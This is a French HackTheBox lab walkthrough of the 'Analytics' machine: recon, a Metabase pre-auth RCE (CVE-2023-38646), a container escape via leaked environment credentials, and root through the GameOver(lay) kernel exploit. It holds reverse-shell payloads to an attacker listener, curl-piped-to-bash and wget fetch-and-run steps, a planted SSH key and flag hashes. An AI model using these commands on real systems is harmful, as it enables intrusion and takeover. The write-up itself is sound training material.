HackTheBox Walkthrough - Analytics¶
Machine ciblée : Analytics.
Répertoire : /home/kali/Analytics
Temps passé dessus : 2h10
Changelog du template¶
Version 1.0 - Sep. 2022 : création du template de base
Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base
Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe
Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit
Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.
Version 1.5 - Nov. 2023 : Déplacement des fichiers dans un dossiers « machines » pour pas pourrir mon /home.
Pour la version 1.6 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Analytics"
repository="/home/kali/machines/$name"
ip="10.10.11.233"
domain='htb'
cd $repository 2&>/dev/null || mkdir -p $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Je vous laisse deviner ? Tout à fait, on a du web et du ssh ! Et ça commence à devenir vraiment chiant le fait qu’ils mettent pas le même nom entre la machine et la page web …
Phase 2 : Analyse¶
On part sur la page, on regarde un peu tout d’abord, et on trouve un menu login. Ce dernier nous redirige vers data.analytical.htb. On va rajouter un nouvel enregistrement DoH (DnsOverHost) … Tout cela nous emmene vers une page de connexion Metabase. Je connais pas cet outil, on va chercher sur internet. Login par défaut ? Nope. CVE ? ~~On dirait bien.~~ En faite, le poc précédent est un exploit de la machine présenté sur htb. Je voudrais éviter d’utiliser un truc qui sorti après la date de la machine, je vais donc chercher un autre PoC. Trouvé !.
On va voir tout ça, il va falloir aussi modifier le code pour que ça s’adapte à nos besoins.
┌──(kali㉿kali)-[~/machines/Analytics]
└─$ name=analytical
┌──(kali㉿kali)-[~/machines/Analytics]
└─$ curl -s http://data.$name.$domain/api/session/properties | json_pp | grep setup-token
"setup-token" : "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
┌──(kali㉿kali)-[~/machines/Analytics]
└─$ git clone https://github.com/shamo0/CVE-2023-38646-PoC.git
┌──(kali㉿kali)-[~]
└─$ rlwrap -cAr nc -lvnp 3333
┌──(kali㉿kali)-[~/machines/Analytics]
└─$ vi ./CVE-2023-38646-PoC/CVE-2023-38646.py
## J'ai changé deux trois trucs :
parser.add_argument("-l", "--listener", type=str, required=True, help="Local listener")
parser.add_argument("-p", "--port", type=str, required=True, help="Local listener port", default="3333")
[...]
"subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('bash -i >& /dev/tcp/" + args.listener + "/" + args.port + " 0>&1');",
Mais bon, comme ça marche pas, ça m’a un peu frusté, je suis parti sur celui qui devait marcher à 100% …
┌──(kali㉿kali)-[~/machines/Analytics]
└─$ git clone https://github.com/m3m0o/metabase-pre-auth-rce-poc/
┌──(kali㉿kali)-[~/machines/Analytics]
└─$ python ./metabase-pre-auth-rce-poc/main.py -u http://data.$name.$domain -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c "bash -i >& /dev/tcp/10.10.14.28/3333 0>&1"
connect to [10.10.14.28] from (UNKNOWN) [10.10.11.233] 42660
df154239e79b:/$ whoami
metabase
df154239e79b:~$ cat ./user.txt
cat: can't open './user.txt': No such file or directory
df154239e79b:~$ pwd
/home/metabase
df154239e79b:~$ ls
df154239e79b:~$ ls -lA
total 0
lrwxrwxrwx 1 metabase metabase 9 Aug 3 12:22 .ash_history -> /dev/null
lrwxrwxrwx 1 metabase metabase 9 Aug 25 15:17 .bash_history -> /dev/null
Les salauds ! J’suis bien sur le serveur, j’ai bien un compte mais ! Je n’ai pas le bon utilisateur. je suis feignant, on va se faire une connection ssh. Puis attaquer la partie utilisateur.
df154239e79b:~$ mkdir .ssh
df154239e79b:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILldHbzS58Jn4l08Z2NKcDSSFBBDT0LzHVU9AmZ4VOfD' > .ssh/authorized_keys
df154239e79b:~$ chmod 700 ./.ssh && chmod 600 ./.ssh/authorized_keys
┌──(kali㉿kali)-[~/machines/Analytics]
└─$ ssh -i ~/.ssh/id_ecdsa metabase@$ip
The authenticity of host '10.10.11.233 (10.10.11.233)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.233' (ED25519) to the list of known hosts.
metabase@10.10.11.233's password:
Vous savez ce que ça veut dire ça ? Ça veut dire que la route est encore bien longue avant l’utilisateur …
Phase 3 : User¶
Bon, la connexion en ssh directement est impossible. Je sais qu’il y a un serveur ssh, alors on va regarder sa configuration.
df154239e79b:~$ cat /etc/ssh/sshd_config
cat: can't open '/etc/ssh/sshd_config': No such file or directory
Bon, c’est là que tu comprends qu’ils ont appelé ça une facile mais qu’elle ne l’est pas. On a pas de POC fonctionnel avant le début de la room, on a un environnement conteneurisé … Enjoy quoi.
df154239e79b:~$ ls / -a
.
..
.dockerenv
df154239e79b:~$ cat /.dockerenv
df154239e79b:~$ ls / -lA
ls / -lA
total 88
-rwxr-xr-x 1 root root 0 Dec 6 05:51 .dockerenv
Le point qui aurait pu être facile aurait été que l’on ai des mots de passe dans le dockerenv, ce qui ne se fait évidemment jamais … Pas vrai ? Hein ? Donc on a rien, il faut escape the docker, on va voir du côté de Linpeas et espérer des privilèges …
df154239e79b:~$ curl http://10.10.14.28:8000/linpeas.sh | bash
╔══════════╣ Container related tools present
╔══════════╣ Am I Containered?
╔══════════╣ Container details
═╣ Is this a container? ........... docker
═╣ is modprobe present ............ lrwxrwxrwx 1 root root 12 Jun 14 15:03 /sbin/modprobe -> /bin/busybox
╔══════════╣ Privilege Mode
Privilege Mode is disabled
╔══════════╣ Possible Entrypoints
-rwxr-xr-x 1 root root 6.8K Jun 29 20:39 /app/run_metabase.sh
En voyant le entrypoint, je me suis dit qu’il y aurait peut-être des informations interessantes là dedans. On va voir vite fait :
df154239e79b:~$ cat /app/run_metabase.sh
#!/bin/bash
# if nobody manually set a host to listen on then go with all available interfaces and host names
if [ -z "$MB_JETTY_HOST" ]; then
export MB_JETTY_HOST=0.0.0.0
fi
# Setup Java Options
JAVA_OPTS="${JAVA_OPTS} -XX:+IgnoreUnrecognizedVMOptions"
JAVA_OPTS="${JAVA_OPTS} -Dfile.encoding=UTF-8"
JAVA_OPTS="${JAVA_OPTS} -Dlogfile.path=target/log"
JAVA_OPTS="${JAVA_OPTS} -XX:+CrashOnOutOfMemoryError"
JAVA_OPTS="${JAVA_OPTS} -server"
if [ ! -z "$JAVA_TIMEZONE" ]; then
JAVA_OPTS="${JAVA_OPTS} -Duser.timezone=${JAVA_TIMEZONE}"
fi
# usage: file_env VAR [DEFAULT]
# ie: file_env 'XYZ_DB_PASSWORD' 'example'
# (will allow for "$XYZ_DB_PASSWORD_FILE" to fill in the value of
# "$XYZ_DB_PASSWORD" from a file, especially for Docker's secrets feature)
# taken from https://github.com/docker-library/postgres/blob/master/docker-entrypoint.sh
# This is the specific function that takes the env var which has a "_FILE" at the end and transforms that into a normal env var.
[...]
À ce moment là, je me suis dit : si l’on a pas d’informations sur le fichier, peut-être qu’ils ont été passées en variables d’environnement ? Ça vaut le coup de jeter un oeil.
df154239e79b:~$ env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=df154239e79b
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
META_USER=metalytics
META_PASS=An4lytics_ds20223#
USER=metabase
MB_DB_USER=
MB_LDAP_BIND_DN=
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_VERSION=jdk-11.0.19+7
Bon, j’en ai enlevé un peu pour pas que ça fasse trop grand, mais que vois-t-on ??? META_USER=metalytics et META_PASS=An4lytics_ds20223# ! Et si on tente ceux-là ?
┌──(kali㉿kali)-[~/machines/Analytics]
└─$ ssh metalytics@$ip
metalytics@10.10.11.233's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)
metalytics@analytics:~$ cat ./user.txt
273427fb10fc1f4403086a21c8af247d
Ok, on est sorti du docker et on a notre compte !
Phase 4 : Élévation de privilège¶
Maintenant, on va tenter de sortir de ce compte là. Pour ça, les classiques, le sudo -l et le linpeas.
metalytics@analytics:~$ sudo -l
[sudo] password for metalytics:
Sorry, user metalytics may not run sudo on localhost.
metalytics@analytics:~$ curl http://10.10.14.28:8000/linpeas.sh | bash
╔══════════╣ Checking if containerd(ctr) is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation
ctr was found in /usr/bin/ctr, you may be able to escalate privileges with it
ctr: failed to dial "/run/containerd/containerd.sock": connection error: desc = "transport: error while dialing: dial unix /run/containerd/containerd.sock: connect: permission denied"
╔══════════╣ Checking if runc is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation
runc was found in /usr/bin/runc, you may be able to escalate privileges with it
Fausse piste : runc¶
Tiens, je connais pas du tout ça. En gros, runc sert à lancer les containers. Il est en dessous de containerd, lui même en dessous de docker. Dans notre cas, il va nous servir à remonter un faux conteneur qui va avoir le droit d’écrire à la racine du serveur … Et donc de compromettre ce dernier. essayons.
metalytics@analytics:~$ runc spec
metalytics@analytics:~$ vi ./config.json
metalytics@analytics:~$ runc run demo
ERRO[0000] runc run failed: rootless container requires user namespaces
Hum donc c’est un poil plus complexe, notre serveur est configuré en rootless. Ce qui signifie que RAJOUTER L4INFORMATION MANQUANTE. Mais dans notre cas, il semblerait que ça va nous permettre d’obtenir quand même nos privilèges … Pour ça, il faut changer son fichier json.
metalytics@analytics:/tmp/tmp.YwucOB9YQc$ runc spec --rootless
metalytics@analytics:/tmp/tmp.YwucOB9YQc$ vi ./config.json ## On met le nouveau montage en premier. Sinon, on a une erreur.
metalytics@analytics:/tmp/tmp.YwucOB9YQc$ mkdir rootfs
metalytics@analytics:/tmp/tmp.YwucOB9YQc$ runc run demo
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat: /root/root.txt: Permission denied
J’y ai cru ! Malheureusement, c’est une mauvaise piste …
Uname -a et GameOver(lay)¶
La vrai piste consiste à regarder la version d’Ubuntu. Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux. Recherche google sur 6.2.0-25-generic #25~22.04.2-Ubuntu, on tombe sur l’explication de GameOver(lay).
L’explication est cool, mais perso, elle m’a perdue. J’ai cherché un exploit. Ça me parait presque plus simple !
On va le tester …
┌──(kali㉿kali)-[~/Tools]
└─$ wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
metalytics@analytics:/tmp$ bash http://10.10.14.28:8000/exploit.sh
bash: http://10.10.14.28:8000/exploit.sh: No such file or directory
metalytics@analytics:/tmp$ wget http://10.10.14.28:8000/exploit.sh
--2023-12-06 10:52:28-- http://10.10.14.28:8000/exploit.sh
Connecting to 10.10.14.28:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 558 [text/x-sh]
Saving to: 'exploit.sh'
exploit.sh 100%[==============================================>] 558 --.-KB/s in 0s
2023-12-06 10:52:28 (69.1 MB/s) - 'exploit.sh' saved [558/558]
metalytics@analytics:/tmp$ chmod +x ./exploit.sh
metalytics@analytics:/tmp$ ./exploit.sh
[+] You should be root now
[+] Type 'exit' to finish and leave the house cleaned
root@analytics:/tmp# id
uid=0(root) gid=1000(metalytics) groups=1000(metalytics)
root@analytics:/tmp# cat /root/root.txt
7c8724666ce6cdf98cccce220af05c66
Récapitulatif¶
5 grosses étapes.
Sur le scan NMAP, on voit un serveur web,
Ce dernier redirige sa page
/loginvers une applicationMetabase,L’application est vulnérable à la CVE 2023-38646. On trouve divers exploit en ligne dont 1 directement en lien avec notre box,
Une fois sur le serveur, on est dans un docker. On s’en échappe grâce aux variables d’environnement et à de la réutilisation de mot de passe,
On arrive alors sur le vrai serveur. Ici, on utilise une CVE pour passer root.
A retenir¶
Et bien sachez que je ne proposerai pas cette box. Je n’y ai pris franchement aucun plaisir sur tout le long … Pas ouf. Par contre, ça serait intéressant de run l’exploit sur mon ubuntu … Sploiler Alert Ça ne fonctionne pas.